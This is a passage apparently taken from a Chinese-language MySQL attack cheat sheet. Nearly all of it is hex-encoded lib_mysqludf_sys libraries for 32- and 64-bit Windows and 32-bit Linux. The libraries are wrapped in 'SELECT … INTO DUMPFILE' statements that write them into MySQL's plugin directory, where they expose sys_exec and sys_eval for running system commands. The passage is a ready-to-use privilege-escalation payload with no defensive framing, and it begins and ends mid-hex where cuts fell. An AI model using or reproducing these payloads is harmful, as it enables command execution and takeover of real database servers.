d56096b27d7616b20cfb0fbef2ae4e03160031f73d9665b9a6c038d2be0fafc046ba039f13cb4fc8a0d6c120c7d0dc395c3c1619c965154147fe41f3e783124f020140bdac40e5643b25d53ec1068f885626df4f888c9bf4ee640bb25eea0398466820d85c33149db9f0a359a04eb605675f869639fc1f6448b7598751f1033f0071476e6ca20189d271cb4f6ee6fedf4330c113bf77507be4f59eb0b85f30a7b047ea10ac1e0100bf0ce00f7d6076c840d1e045e5f01c33f5c05646464646064686c1405766474b000003ff4c20e034b0f20185f4e6f20ffffb7ff617267756d656e7473096c6c6f77656420287564663a206c69625f6dccfd6df77973716c0d5f73085f696e666f293918dfb6ff8f2076657273696f6e20302e01341f45787065f6dbdbdd637447657861076c79201a65207374723f5bdb5afb672074791b75726171217258c00e602b7477911fd86f030b3f8672206e616d48dbb1b71f436f756c246e6f74c4636113203058b76d186d2779af72f1483fda4d943f2003121071051bf29d5860214707d0604d0d0b0f81cb074ed961dd9703ab17cc2708a77527ecc00fd81f0a3b034fc0a07b851f03240328c1556583a200c5889251ca22d877bdb119bf44ff000f5565a3aa00a8aa9251645455c95532aaaafff61d455c0410020157616974466f00fc06c07253886c654f626a07c07f6b99145669727475616c417603e0f6370d536574456e76126f6ec000bc6dbf5661726961622b4118437265f76deb6e94546806640d47264375727222cd12f65b502a636573734914266e03e083135469636bde6e6bb1f6b6fd5175657279500366846d616e371667ef1b00fd0144697367374cfdb7eded6962727879436192731a4973446562756767edee6dad266a686546a4556e6840b1b7b7b7643164457846707469af46696c4a6d295b6119b41254de64aeb0176d0dd8114990b9edd61a0a6b409d6d70876547c25a73cd517f77555122b4ed6e591b5c537973186deec3c2eb2e39417373650975697cdb15da434c7d5f687e396d5f2edffedebe5f616d7367087869740b646a753a5f666469ec4217b076260a639a5f64fd6cadb91f5f686f6f6b131459725ff802700148d15fdb9ceb0249730a330a6c21d6f0bd82539c2a64d46e640893050b130f651e6b5b7bc25f2c723456ed6d1c182ff6d69a700a035f706f522947e1ddbe6e106468756c5eb92a6bcb92bd9b1b2ca806e0b6d86e6ec57265250866112e827bdb5673749c637079082439edcd5c6b32c06e4d0fd7ed1f5ac36f7319663a1f5f4370705831c75e3b8474bc6d343f001817ffffffff3d193c1c1b161e55142d16270815270f11115f10130a070d2e17090705160c1e7ffbffff080a0b160918181505061b050c10060717062105110f061421110b08e4fbdfb62b22052a111d0d18532d483806000776fbdbe5080c09330a090b0c051007061612eedffeed0e0b34150b18160d3d0542c205121e14066930ffd8ddff110c0e1d4d0517230d0c3224080b4506f0de041004f03b0a6eff2c01043808041c1c0204003e4c016dff21fd05004afe9f5a8fe00002210b0109080c634f7ad60c1213d616a300200e10c10a01630b02ab3362b7ee6107006003040233351eeed9c0ce34100706c02633d6eddb7620ac22033c144002b0021c5759dd0050520143c8c8ba65b1214200a7b82f06db5d182eb4787407ea0b900c5bfa90cdb742602e72647d610861c90e76c508fb0a00c700a1db66bb77402e26300304301becdb943d001a27c04f73726300eb11c0061b40731c4f78c2c2a365761f01030002ed7760497b27421ba023030000edd8d152127c53030400000000000080ff00000000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d871702000080207f8060287f585054505357ffd558618d4424806a0039c475fa83ec80e9ad98ffff0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c467265650000006672656500000000000000004afe9f5a0000000058840000010000001200000012000000a4830000ec8300003484000021100000a312000000100000a4120000a3120000a0120000cc110000a31200009811000086110000a31200009811000076100000a3120000431000002e1100001a110000a91000006d84000083840000a0840000bb840000c7840000da840000eb840000f484000004850000128500001b8500002b8500003985000041850000508500005d850000658500007485000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000700000100000006d3c683e6c3e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';
（2）lib_mysqludf_sys_64.dll
SELECT
0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000677cbfda231dd189231dd189231dd18904dbbf89211dd18904dbbc892a1dd18904dbaa89261dd189231dd0890f1dd18904dbac89211dd18904dba089221dd18904dbab89221dd18904dba989221dd18952696368231dd189000000000000000000000000000000005045000064860300a727a15a0000000000000000f00022200b020800002000000010000000800000109f000000900000000000100000000000100000000200000400000000000000050002000000000000c000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098b2000008020000b0b10000e800000000b00000b00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000e0555058310000000000200000009000000012000000040000000000000000000000000000400000e02e727372630000000010000000b000000006000000160000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d240209e1e421439d3bdfb7de7400000f0f0000002a0000490000d41de9feff833a007450488b05a421000049890009a24008cd4973d20a9f109c1899cd9f34272096280fb70593666d83fdb7410b30b001c332c0c3cc00c215cc92c9ba810034716a6febcc16e46c096a471853fdbf1fa4631c0fb605591688401e41c7011e00ffed6dd62b8b63bf01750f3f42088338007506c64b26ebdc01017b4e2d632b05b9e4b228ce25227ed20cd26f1f28152ab001c3f66d7bc2bf83ec38344a43895c243084b7fff6dbd90b09ff15c71f2b4885c04c8bd87512104c24df6eaeb9608707202dc4388e897c242873edcdfd33c048c7c1ff0033fbf2ae1c120976d9b75b1af7d122e901890b2dcc00be6feb166f28e3026e404848deda7fdb29f938d87459488d0d40ee4e0e813832983de4c1eb81403281480a9ee4435e4f81503281543281563261f37d4fb0018c48804028c34c49467607744e61deed584917e49260680a703c6527cd18782056c740045cf8bf33b64342188b48048b008d4c010239bd1e77d27d8bd947107543706d8045ec1be936130309884370900a00b69dee10c8980a18bc0cb3c6b00e07103fbcb37ddb0f49a585c974066f5d17b7086d21cf93cf047424ada3b9772d7110448b6949e2fa02c2eddfba52e2ce0212498d5c3001e83f0ffce85cd7fddd5febcb418b03c60430d2470d5734b70c58d7e22d0822d34313167bb75bce2618007ca01cff56677c84842f7198f4cf16c64373870d087c8c03d6e4240f79561e541e511e7292939c4e1e4b1e481e63c2425e3e1e1fcf2784ee87c71f1da0981f4c89c68685ee44241824580f6c59897486bb86db76381764bdb900d34c18284cb0db7e302d4d8bf146e8e7b901ee9b6dc1ec04e00dda4533ed4488670beef69b4ff04c39290f8413050673f215fdcfb8b9169125ac1c088be8747b418d5508e1c9b6b13ac0e6cc177c7466a04b6640fa50669047fc3f42858e1b0b9529328d7936ce6f7d61c16c304375cd8cc74803c8f56636b724d470143e51c5ba08e1d9b68d39cc1ceb13225975ad886cdbb6f050eb258bc77004cd1930ddfe9cdb803e30e2154874229245ffb176d8827811fef5887edd4d174ebe5a0eebc18424805ec606e71ada0001380c4c38f12a10f8386c04c6f0a0581a87e792317fd3dc5cd8d6d09d58747a28f2023f73b773df3e448d48406e41b80010b3748bd1f10df7c7ed33c9ab441a5356104cefa2dbe6b66c02c8d8154e1b8d54b94c350aede98d054a75890ba3b16e3b2dbc3133d2c7d0208925183bdf19b7b3bad2c80df2199d30ac581e29eb081433c0922fb384f13be0064ceb0033c029001bb0dfb65538ec024510ff10c9196600fb6f7f6c900390483b0d89293f751148c1c11066f7dddd6fdfb87502f3dac1c910e9150aeccc405361203b8b7d1b5801a05fdcd25b0bfbeef7f685dbc905112fd005020675098d430185bb76efb6205b42c703d59b0d3c48b406634136670b1c5805b12006615bd85bc3cf55d27f6cc7c7c376fc608468e140dcfbf1c2c63831e83be141bdd20f8503ee46bb7408075ee428073c0f8e0d8de6b61b6e2bc58ed3105fdcfd3e76fb0fb12d602e0a741ef290b9e803c91d19bfdb36931d4275e841320783f802740fb9ef6dc3b31fb70eca0208e2ed0d2f2e338e740fd2111912f874491412fc18dadc0b1fd958f847df72165f1803b6bb2d701e4ad0c9eb081573ed12ecf6bedbcf2774192d06429bd72d0698fbfb66d833db891db80e871db906716fc7feb59806e5413bd5dde26541042530bb7dbbbd002c0978081e8bf3f048b93d883072b0b7920a63c7741ad64618d7d29b2f1c6b75e3eb037bf5a79a5ed6390c950cdaeb3fea1f9f7db7f08e8f080644892d312d1bc485c0678fed62771a15e5de0dd6181abe7fddbbeec7050725024585f67507b404bb833d14ddc96e73068b212a0b2d5c6f11dedd264fe3029cf12c66012d3a273e9e9ebe10c58f38d240e468ec98717a60dce91748c3b14d22190f6c20483a5adbf308505851f0dd05bbee77df3d041f208915d12695d275133915d709ed7f38c3750b5a17c61e83fa017405040add6be00275338931d39d08a3b71b0d34c84e20c574134ac68b07863db9d7a64bfc1616e0c9016b3c1a0edc83ffb092ebda1535ab311bc11bdb5b0bd80c430c1dc817084d7bf787755c0b1841ffd385ff88ff03753970f79d75094a08aeeb8d1ca51e36ec648b171028adeb06d8192ecc298adc25f3008bc3659e8793708b218b8bf8b59d9e2a4055bf15eaa3894d7afab61b01018b080724b0d67d5d902dd9c2302f5e7d0ab1485825ff4ddb960c1e92387d2eda02f101d7136fa3f875056c0cfcfa7d918844a4fd258b036983eb2f9e8e090cefc6f852a1899e2681ec880068cd760dbffe73153f156705b8c648f25845b7390cb8283d1f2c586170c339def61624eb754148b73dc6364238004044230430090e662fcf40280578254703055c73874c1c51494e7d4bb1077f4bf0eb222b8093447bdd837d738d0e83c00812d13e8d67db7b642a059b240d20902f9c5ba25b701c2a7214097bc009cc3e1e666c926724766e833572dbff0b70dc7a142f482c38b0bb2493827b8ef083d2396a14019b15650ccb36dc9255b624c80a271b83d76c1854ba6a234e336b1784f781c4aca041592947a626231c0fd8cf53188186d9ef0d68295a4a148a8ef8ececcdd64427cb1366eb75b908674b32d21dea902d3a1c1128106464200a8b83af334463971bcb36e418c323db83a238243d05f62809993959b611402bdc678c90c136de1bc3017f37320296247f15f4f6120d6276d81bc00383e8013c2075643f289c8d3d53041a787f4b8d1d4c068d13a08491790ec372b3326129a9ef4f137f2344720cc96681394d5a75fcb7c3ff174863513c813c0a5045e1137c0a180b020f94c063e343029f4c63413cfec9b4ebed8d7ed24c03c1413c4014450458064525ffc25f6a4ab10018741f8b510b3bd2720a8b4108ed6ff8db03c209d072104183c113c128453bcb72e16fc796b05d1cc1c3cf4cc1267af7446992e1da85dcbd1f4c2bc15feafb5abed0140ccd0f3a24c1e81f600d2cfef7d083e001eb02584fd644ab360196ebcac0b66c3008eec18b01a7ffaa128d3cc77627252205cc11ce78dca606cb113f75463da70ff0dd4603241b471eb801000000277c29847f3fe520000081bff83c3dfc32a2df2d992b7dc7f83074149d6fa3d00e7f5dc6268b2dc285586b212430bc6286b6489934e10ab9b4c856e04671d849460bb50e731c0eb110d9be10a8d813fe6a4cb84c33dbceb8ff00856037ba1623e9b8338975dde016b1df744d44d89c1d39b705dbdd8449f7d3093720d2fbdc4b4646463605dee0e2e4b24746465e505a11000055c9a8aa298064547fb017d8069017303007d04e6f206172ffffdffe67756d656e7473096c6c6f77656420287564663a206c69625f6d79730bf6b7dd716c0d5f73085f696e666f29411c80edff232076657273696f6e20302e0134ededee17a178706563744b657861076c79201a6dbb7dfb652073747243672074791b2070766175d8299b6d21724f2f7477996d60010b1f438ef6f603fb72206e616d4c436f756c246e6f74cce8b66d3b63611320186d27796372ff850740310106023532023001240d0024f6ffb7ffd407001fc408001a740b15640c0010540b000b340a0004822776bbdcfe1918090018c40f13740e640b093427b763d4ed046217d41e5e3f1903241aedbacf2c5007390f2a07801abbdc6e8367165b16743711640c340b7bd85b770442130c390c01118350118b9b6df705530133871c03e4001d5d90ed60430e057b743f09baeeb0d80401072f67079403a06077dbc10701462f462b1074092f0db6d94e3416033b01000715bb0bb6bd971574062f64f7df21000884ddb640ae043439741f00bf20eeecedb6140629034c341f0ba903e1c2debe240f05c305340a13234bd36d9b6e23431e14c45f0f470a75b713760554094b01098909a2071e7de572bb1f1e742f12640d34870142b71582bb2e1311cf0c03ca96dd0e01380f387427005124a3aafec10246ddcd5d20d266d4ff555516c900178fa02a1b003011764bd56c039180bfa007e0126dd79ddd03703407f803680b0013026a76fbba8603540b14021814170b581590fb2f07d9eeecf60a150310340727030034075bd5b9dd7003e0336f0724b3cc755dd7750b30074203ac0b9007f5b61b94db03c03233920c1903c8ba05a0eb0b10074f8be80b508375afeb077303444707990ba0b65dd77507e503280bf0073a1c033c0038b7eb0b5007f71ca70b77b63bdb8b191d2f2007381dcb40071dac7b5d83036c8307d30b601e9ded5eb3039b7c5f07c11e3be0d0ae3bdb07031f3b1007d6039c33ca1255954a005525a3aaa8aa9251645455c9d09ba0887c0402c4ff16360157616974466f7253ac7f2b40fc6c654f626abd14566972747561f63703c46c419a0d536574456e76126dbf01e26f6ee45661726961622b41eb2e40bc18437265b8546806640df65bf76d47264375727222502a636573734914e283cd1226135469636bb6fd6e03026e6b517565727950036684dedbb1f66d616e3716657218446973676fdbdbcf374c6962727879436192731a52746c633bb76d0970a2722d2c7874124cbdb5adfd6f6f6b7570463ec26916b2747279dfb5078b17cd556e77e47e4973446562736f6bed75676763a7a56583e11dfeb6b77268616e64457883704046696ca56c85c58719f19319dab61254176d65151153daf6586b39352b537973176dfa81e87517454173426509a3dbfe434388a0895f616d73675fcc6990b3850bbf5f5f435f73708b6966285f7e267cdb766f5f64116f035f706f6922430b76db2663da5f64ce280009626b31142d325f7a13c417840b5f7b50705b6c735f330a6c212205db5accd82a58096e73ed6bc982130fd76d643ed6bad6de756c343f15416d170cdea3e0020ab52689a3b565c933a196063bc16db15b0772652508661115080d5ba1739c29709f73149bb5adb93932ae6e074d0f85d7badbc56f736a663a70105e3b84ed70705831747b6d343fdf15f4c700f08c21180800e264860600a76efb0fe327a15ae6f00022200b020808120cb07744b314132e0010000005cf1e6c9b02020433050002088000c302f663146d160100022e063af76c650f0a50394330908de8db88223c1460e2d880d4bd0118020183703aacbb024b00303a011e4644a42b2e1054822d3bd810901200dc00b3dbc63b6f602e7264a76108550b53597761dd000c03162740022e26291b61f600d805100c22273616ececc02e702850eb27244fd820fc007273726300136027b3c7013226650942fca664b0702728421b4036c08d6d05ca7212d3060000000000009000ff0048894c240848895424104c8944241880fa010f854502000053565755488d35cdf0ffff488dbe0080ffff5731db31c94883cdffe85000000001db7402f3c38b1e4883eefc11db8a16f3c3488d042f83f9058a1076214883fdfc771b83e9048b104883c00483e9048917488d7f0473ef83c1048a10741048ffc0881783e9018a10488d7f0175f0f3c3fc415beb0848ffc6881748ffc78a1601db750a8b1e4883eefc11db8a1672e68d410141ffd311c001db750a8b1e4883eefc11db8a1673eb83e8037217c1e0080fb6d209d048ffc683f0ff0f843a0000004863e88d410141ffd311c941ffd311c9751889c183c00241ffd311c901db75088b1e4883eefc11db73ed4881fd00f3ffff11c1e83affffffeb835e4889f7b900120000b2004889fbeb2c8a074883c7013c80720a3c8f7706807ffe0f74062ce83c0177233817751f8b072500ffffff0fc829f801d8ab4883e9048a074883c70148ffc975d9eb0548ffc975be4883ec28488dbe007000008b0709c0744f8b5f04488d8c30b0a100004801f34883c708ff96eca1000048958a0748ffc708c074d74889f94889faffc8f2ae4889e9ff96f4a100004809c074094889034883c308ebd64883c4285d5f5e5b31c0c34883c4284883c704488d5efc31c08a0748ffc709c074233cef77114801c3488b03480fc84801f0488903ebe0240fc1e010668b074883c702ebe1488baefca10000488dbe00f0ffffbb00100000504989e141b8040000004889da4889f94883ec20ffd5488d871702000080207f8060287f4c8d4c24204d8b014889da4889f9ffd54883c4285d5f5e5b488d4424806a004839c475f94883ec804c8b442418488b542410488b4c2408e91f79ffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005cb0000054010000e404000000000000586000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564338302e435254222076657273696f6e3d22382e302e35303630382e30222070726f636573736f724172636869746563747572653d22616d64363422207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e0000000000000000000000002cb20000ecb1000000000000000000000000000039b200001cb20000000000000000000000000000000000000000000044b200000000000052b200000000000062b200000000000072b200000000000080b200000000000000000000000000008eb200000000000000000000000000004b45524e454c33322e444c4c004d5356435238302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000a727a15a0000000074b30000010000001200000012000000c0b2000008b3000050b300007010000060100000001000008015000060100000701500002014000060100000901300000014000060100000901300003011000060100000c010000000130000e0120000a011000089b300009fb30000bcb30000d7b30000e3b30000f6b3000007b4000010b4000020b400002eb4000037b4000047b4000055b400005db400006cb4000079b4000081b4000090b4000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';
（3）lib_mysqludf_sys_32.so
SELECT
0x7f454c4601010100000000000000000003000300010000007009000034000000581200000000000034002000040028001900180001000000000000000000000000000000f80e0000f80e00000500000000100000010000000010000000100000001000000801000010010000060000000010000002000000141000001410000014100000d0000000d0000000060000000400000051e5746400000000000000000000000000000000000000000600000004000000250000002a0000001400000008000000270000001d0000000000000000000000030000000000000011000000000000000a0000002900000012000000200000000000000000000000260000000c0000002100000017000000230000000d000000000000000e0000001c000000150000000000000006000000000000000000000010000000220000000f0000002400000019000000180000000000000000000000000000000000000000000000000000001a0000000200000013000000050000000000000000000000000000000000000000000000000000001f00000001000000280000000000000000000000000000000000000000000000070000002500000016000000000000000b00000000000000000000000000000000000000000000001e0000001b0000000000000000000000090000000000000000000000040000000000000011000000130000000400000007000000010804409019c7c9bda4080390046083130000001500000016000000180000001a0000001c0000001f00000021000000000000002200000000000000230000002400000026000000280000002900000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe1200000000000000000000000000000000e7000000000000008d00000012000000c2000000000000005c00000012000000ba00000000000000e7040000120000000100000000000000000000002000000025000000000000000000000020000000ed000000000000007e02000012000000ab01000000000000150100001200000079010000000000007d00000012000000c700000000000000c600000012000000f50000000000000071010000120000009e01000000000000fb00000012000000cf00000000000000700000001200000010010000000000002500000012000000e0000000000000008901000012000000b500000000000000a80200001200000016000000000000000b0100002200000088010000000000007400000012000000fb00000000000000230000001200000080010000040d00006100000012000b00750000003b0a00000500000012000b0010000000f80d00000000000012000c003f010000a10c00002500000012000b001f010000100900000000000012000900c301000008110000000000001000f1ff96000000470a00000500000012000b0070010000ee0c00001600000012000b00cf01000010110000000000001000f1ff56000000310a00000500000012000b00020100009c0b00003000000012000b00a30100007d0d00003e00000012000b00390000002c0a00000500000012000b00320100006b0c00003600000012000b00bc01000008110000000000001000f1ff65000000360a00000500000012000b0025010000fc0b00006f00000012000b0085000000400a00000700000012000b0017010000cc0b00003000000012000b0055010000c60c00002800000012000b00a90000004c0a00008800000012000b008f010000650d00001800000012000b00d7000000d40a0000c800000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3000474c4942435f322e310000000200030003000000000003000300030003000300030003000300030003000400030002000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000300b20100001000000000000000731f690900000400d4010000100000001069690d00000300e0010000100000001169690d00000200ea01000000000000040b000008000000b70b000008000000e70b000008000000110c000008000000220c000008000000550c0000080000008e0c000008000000ac0c000008000000d90c00000800000004110000080000006b0a0000020f00007c0a000002030000960a000002020000ad0a000002090000430b000002090000bc0a0000020c0000e40a0000020e0000f30a0000020e00003f0c0000020e00000e0b000002010000310b000002060000560b0000020a0000680b000002120000bf0b0000020d0000ef0b0000020d00005b0c0000020d0000960c0000020d0000b20c0000020d0000e10c0000020d0000fd0c000002080000580d000002110000770d0000020b00008e0d000002070000e410000006040000e810000006050000ec10000006100000fc1000000704000000110000071000005589e55383ec04e8000000005b81c3d40700008b93f4ffffff85d27405e81e000000e8b9000000e884040000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff5589e55653e8ad00000081c37607000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8bcffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c3f706000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35531c089e55dc35589e55dc35589e557565383ec0cfc83c9ff8b750c8b46088b3831c0f2aef7d18d59ffe8fcffffff83f8007c53753f83ec0c6a1ee8fcffffff5f596a006a00486a218d1418f7d06a0721d0506a00e8fcffffff83c42083f8ff89c7742351538b4608ff3057e8fcffffffffd7eb0b526a016a0050e8fcffffff31c083c410eb05b8010000008d65f45b5e5f5dc35589e557565383ec18fc6800040000e8fcffffffc70424010000008945e8e8fcffffffc6000089c68b450c595b31db68840e00008b4008ff30e8fcffffff8945eceb338b7de831c083c9fff2ae5252f7d18d79ff8d043b50568945f0e8fcffffff83c40c57ff75e889c68d041850e8fcffffff8b5df083c40cff75ec6a04ff75e8e8fcffffff83c41085c075b683ec0cff75ece8fcffffff83c410803e0075088b4518c60001eb16c6441eff0031c083c9ff89f7f2ae8b4514f7d14989088d65f489f05b5e5f5dc35589e583ec088b450c833801750a8b400431d28338007414505068140e0000ff7510e8fcffffffb20183c41088d0c9c35589e583ec088b450c833801750a8b400431d28338007414505068140e0000ff7510e8fcffffffb20183c41088d0c9c35589e55383ec048b550c8b5d10833a0274095050683f0e0000eb428b420483380074095050685e0e0000eb318b520c83ec0cc74004000000008b0283c00203420450e8fcffffff8b550883c41089420c31d285c07512505068860e000053e8fcffffffb20183c41088d08b5dfcc9c35589e583ec088b450c83380175128b4004833800750a8b4508c6000131c0eb14505068140e0000ff7510e8fcffffffb00183c410c9c35589e55383ec0c8b5d1068a00e000053e8fcffffff8b4514c7001e00000089d88b5dfcc9c35531d289e583ec088b450c8338007414525268bf0e0000ff7510e8fcffffffb20183c41088d0c9c35589e583ec148b450c8b4008ff30e8fcffffffc999c35589e557565383ec10fc8b550c8b45088b580c8b420c89df8b088d440b018945e88b42088b30f3a48b420c8b00c60403008b42088b4a0c8b7de88b70048b4904f3a48b420c8b55e88b4004c60402006a015253e8fcffffff8d65f45b5e5f5d99c35589e58b45088b400c85c074098945085de9fcffffff5dc35589e55783ec10fc8b450c8b4008ff30e8fcffffff83c41085c089c275088b4518c60001eb1131c083c9ff89d7f2ae8b4514f7d149890889d08b7dfcc9c390909090905589e55653e85dfcffff81c3260300008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c3ec020000e860fbffff595bc9c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d6574657200457870656374656420